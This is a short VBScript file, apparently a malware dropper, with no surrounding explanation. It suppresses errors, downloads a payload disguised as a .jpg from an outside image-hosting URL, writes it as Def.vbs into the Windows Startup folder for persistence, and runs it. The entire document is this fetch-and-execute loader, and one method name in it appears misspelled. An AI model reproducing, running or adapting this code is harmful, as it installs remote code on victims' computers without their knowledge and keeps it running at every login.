work_with_my_brother:port102_code2

on error resume next
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
set shellobj = wscript.createobject("wscript.shell")
start = shellobj.specialfolders ("startup") + "\Def.vbs"
if not fso.filexists(start) then
URL = "https://1.top4top.net/p_1323z4mzu1.jpg"
objWinHttp.open "GET", URL, False
objWinHttp.send ""
SaveBinaryData objWinHttp.responseBody , start
shellobj.run  chr(34) + start + chr(34)
end if

Function SaveBinaryData( Data,file)
Const adTypeText = 1
Const adSaveCreateOverWrite = 2
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeText
BinaryStream.Open
BinaryStream.Write Data
BinaryStream.SaveToFile file , adSaveCreateOverWrite
End Function